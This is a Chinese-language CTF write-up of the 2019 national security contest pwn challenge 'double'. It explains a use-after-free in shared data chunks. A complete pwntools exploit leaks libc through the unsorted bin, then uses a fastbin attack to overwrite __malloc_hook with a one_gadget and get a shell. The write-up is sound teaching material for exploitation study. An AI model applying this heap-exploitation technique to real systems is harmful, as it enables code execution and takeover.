2019信息安全国赛double详解,小白进!

前言 首先申明,这题我在比赛时没有写出来,今天复现的时候才写出来的。里面涉及到的一些知识点以前没有在意,所以特写一篇解析文章供和我一样的小白吃碎此题,也算是加深知识点的印象。欢迎大家交流。
前期分析 题目名字是double,在没写的时候我先猜测是不是一个UAF或者double free的漏洞。这里给大家分享个小技巧,写堆的题目的时候最好提前把一下函数在IDA里重命名一下。具体方法是用鼠标点一下函数名字然后按n键。下面我们看关键代码。

if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) ) { *ptr = *(_DWORD *)v3 + 1; ptr[1] = *(_DWORD *)(v3 + 4); *((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8); *((_QWORD *)ptr + 2) = 0LL; *(_QWORD *)(v3 + 16) = ptr; qword_4040D8 = (__int64)ptr; }

这段代码是出现在new_info功能的函数中的。首先说一下里面的变量。qword_4040D8存放最后一个ptr指针。qword_4040D0存放第一个也就是编号为0的ptr指针,v3存放当前ptr的上一个指针,s2存放我们输入的内容。上面代码的逻辑为,如果qword_4040D8存在并且输入的data和上一个指针的存放的data相同,那么当前ptr和前一个ptr两个指针指向同一片data。到这里大家思路应该就清晰了起来。如果我们输入了两个相同data的info,然后我们delete了一个info,但此时我们还可以通过另外一个info来控制已经free了的堆块上的值。
利用思路 首先是泄露,我们这里可以采用泄露unsorted bin来获得libc基址。具体为生成两个data内容相同,且长度达到unsorted bin标准的chunk。然后free一个chunk,这时被free的chunk其fd和bk上存放的时unsorted bin的头指针。然后我们可以通过另一个没有被free的info来输出其fd的值,这样就泄露除了unsorted bin头指针。接下来的泄露libc需要引入一个gdb.attach()。关于这个调试我之前也很少接触过,也是这次才学习到。先给大家附上我的exp,方便下面的讲解。
from pwn import * defadd(content): io.recvuntil('> ') io.sendline('1') io.recvuntil('Your data:\n') io.sendline(content) def show(index): io.recvuntil('> ') io.sendline('2') io.recvuntil('Info index: ') io.sendline(str(index)) def edit(index,content): io.recvuntil('> ') io.sendline('3') io.recvuntil('Info index: ') io.sendline(str(index)) io.sendline(content) def delete(index): io.recvuntil('> ') io.sendline('4') io.recvuntil('Info index: ') io.sendline(str(index)) context.log_level='debug' io=process('./pwn') pwn=ELF('./pwn') printf_got=pwn.got['puts'] libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') log.success('printf_got='+hex(printf_got)) add('a'*0x80)#0 add('a'*0x80)#1 delete(0) show(1) unsort_addr=u64(io.recv(6).ljust(8,'\x00')) gdb.attach(io) log.success('unsort_addr='+hex(unsort_addr)) libc_base=unsort_addr-0x3c4b78 one_gadget=libc_base+0x4526afake_addr=libc_base+libc.symbols['__malloc_hook']-0x1b-8 unsort_fake=unsort_addr-88-0x1b-8 print('libc_fake='+hex(fake_addr)) print ('unsort_fake='+hex(unsort_fake)) log.success('fake_addr='+hex(fake_addr)) add(0x60*'b') #2 add(0x60*'b')#3 delete(2) payload1=p64(fake_addr).ljust(0x60,'\x00') edit(3,payload1) add(0x60*'c') #4 payload2=0x13*'a'+p64(one_gadget) payload2=payload2.ljust(0x60,'\x00') add(payload2) #5 io.recvuntil('> ') io.sendline('1') #gdb.attach(io) io.interactive()

大家注意到最后一句加了一个gdb.attach(io)。让我们来看看效果。2019信息安全国赛double详解,小白进!
文章图片

这里我们在gdb里输入vmmap
2019信息安全国赛double详解,小白进!
文章图片

可以看到我们的加载基地址是0x00007f1ac8ef8000,而我们的unsorted_addr的值为0x7f1ac92bcb78两者的偏移在每次进程中都是固定的,offset=0x7f1ac92bcb78-0x00007f1ac8ef8000=0x3c4b78
这里面还有一个one_gadget,这个是github的一个开源项目,直接call one_gadget就可以拿到shell。我的这个one_gadget是在/lib/x86_64-linux-gnu/libc.so.6中取得,比赛得时候用相应版本得libc就行了。
泄露完成了之后就到写了。写我们采用fastbin attack,在写一个已经free的chunk的fd。当然这里系统对fd指向的chunk有要求,要求其size必须和当前fastbin的size相同。具体的知识大家可以在ctf wiki上补习一下,附上这个知识点的链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#arbitrary-alloc
这里用到了劫持__malloc_hook。hook得工作机制是如果他地址上的内容不为空得话就执行地址上的内容。__malloc_hook就在main_area的上面(unsorted_bin在main_area+88)。这里我们使用gdb调试一下。
2019信息安全国赛double详解,小白进!
文章图片

2019信息安全国赛double详解,小白进!
文章图片

我们可以看到在0x7f83fa220af5处的八个字节值为0x7f,他的fastbin的index为5。所以我们可以add两块fastbin的info,其index也是5的。index为5意味着其chunksize为0x70,去掉0x10的header。所以我们只需要malloc(0x60)即可以达成fastbin attack。
当我们把malloc分配到我们的fake_addr的时候要注意,用户操控的地址是chunk_size的地址+8。所以我们最后要填充0x13的’a’才能到malloc_hook。然后再malloc_hook上放上one_gadget。当我们执行malloc的时候即会先执行malloc_hook上的内容,到此我们就拿到了shell。
2019信息安全国赛double详解,小白进!
文章图片

后记 【2019信息安全国赛double详解,小白进!】虽然这篇文章写完了,虽然自己理解的很清楚,但是总感觉自己讲的比较晦涩。因为其中有很多知识点是需要补习的,而我没办法把所有的点都拿出来说一遍。所以这篇文章中的很多知识要大家辅以百度/Googole。如果大家看我这篇还不是很通畅的话,可以结合这篇文章来看:https://bbs.pediy.com/thread-250962.htm#程序逻辑。
做为入坑一个多月的萌新我深深的感觉到二进制的道阻且长,希望大家能在二进制的路上越走越远。另外本人水平有限,如果文章有错误希望大家能帮我指出~

    推荐阅读